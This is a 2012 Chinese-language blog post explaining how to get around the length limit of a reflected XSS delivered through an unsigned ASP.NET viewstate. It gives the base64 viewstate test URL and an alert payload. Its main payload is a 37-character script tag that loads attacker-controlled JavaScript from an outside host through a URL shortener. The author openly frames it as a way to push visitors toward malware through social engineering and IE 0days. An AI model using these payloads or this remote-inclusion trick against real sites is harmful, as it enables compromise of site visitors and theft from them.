分类

学习笔记 [17]
渗透测试 [4]
一些杂文 [14]
coding [16]
漏洞信息 [17]
技术文章 [15]
开发文档 [8]
个人作品 [5]
PS:个人作品在各种下载栏目均有下载

站内搜索

日历

«  July 2012  »
Su Mo Tu We Th Fr Sa
1234567
891011121314
15161718192021
22232425262728
293031

访问统计(起于2010/10/2)

访问统计
PortWatcher's Blog
Monday, 2025-06-30, 4:43 AM
Welcome Guest
Main | Registration | Login | RSS

Blog

Main » 2012 » July » 17 » 37个字节实现任意XSS
2:57 AM
37个字节实现任意XSS
文章来源: http://www.portwatcher.net/blog/37_xss/2012-07-17-117
By:PortWatcher

假设现在我们有一个XSS,它是通过viewstate来引发的。w3af给出的测试页面是
Code

http://www.********.com/auth/Default.aspx?__VIEWSTATE=%2fwEPDwUKLTY4NzcyMTIyMg9kFgICAQ8W
Ah4JaW5uZXJodG1sBSY8c2NyaXB0PmFsZXJ0KCdBU1AuTkVU
IFhTUycpOzwvc2NyaXB0PmRk 

通过burpsuite,可以查看到这个viewstate的值为:
Code
<script>alert("ASP.NET XSS")</script>



如果我们要利用XSS,光弹一个框框是远远不够的。这是一个反射型XSS,结合社工和IE 0day我们可以让别人中马。我们先尝试让它跳转到指定页面,比如说百度。
比较直接的思路是修改viewstate的值,你会说这有什么难的,未MAC加密的viewstate不就是一个base64么。但如果真的能这么简单地修改就不会有这篇文章了。你可以试试直接修改解密后的js然后再加密。你会发现以这样的viewstate访问将导致服务器报错,因为viewstate的值的长度是固定的,假设我们让这个js实现跳转百度的功能,那么它的内容应该是
Code
<script>window.location.href="http://www.baidu.com"</script>

这个长度远远超过w3af给你的XSS,当然会报错。我所知道的最短的跳转页面的语句为top.location="",这个依然太长了。

我找不到可以修改viewstate的值而不因改变长度破坏其结构的工具,只能硬着头皮构造出与《script》alert("ASP.NET XSS")《/script》长度一样的又能实现我想要的效果的XSS来。

首先我们很自然地可以想到包含,于是我在朋友分我的vps上放了一个js脚本,内容如下:
Code
window.location.href="http://www.baidu.com"

将其命名为1.js,那么我们的XSS就应该为
Code
<script src="http://aaaaaaa.tk/1.js"></script>


这样短了一点,可和目标相比还是太长了。我们分析一下哪里还可以缩短,《script》标签是不能动的,这个必须有,那么只能在网址上面下文章了。你可能会建议我申请一个1个字母的域名,可是注册到1个字母的域名难度很大而且还需要等待域名生效。 
我这里想到的是用短域名,通过短域名来把网址变短。我找了一会儿,终于发现了一个最短的短域名服务,太叽网http://2.gy/。这个短域名可以说是短到不能再短,比google,新浪,腾讯提供的短域名服务都要短一些。这个域名支持自定义的短域名,http://2.gy/后面可以自定义。我开始想弄一个字母或者一个字符,发现都已经被别人用掉了,于是只好用了1个字母和1个字符的短域名,这样一共占有2个字节,也不算多。
http://aaaaaaa.tk/1.js经过转换就成了http://2.gy/**,这样就够短了,哈哈。
最终我们构造出来的XSS为:
Code
<script src="http://2.gy/**"></script>

比了一下,和《script》alert("ASP.NET XSS")《/script》长度一样。37个字符。这样长度的XSS直接base64加密,然后替换掉原来viewstate的值,通过浏览器访问,发现是可以跳转到百度的。

总结,这里利用了两次转换。第一次是把真正要执行的js写到其他文件,然后通过远程包含的方式来执行;第二次是通过短域名把网址变短。 由于1.js的内容是可以修改成任何你想要的js代码的,所以这个方法应该是可以实现任何js的XSS了。当跨站长度受到限制的时候,可以考虑这个方法。


如果有能修改viewstate而不破坏其结构的工具请务必告知,鄙人万分感谢。 
Category: 技术文章 | Views: 1989 | Added by: Jury | Rating: 0.0/0
Total comments: 0
Name *:
Email *:
Code *: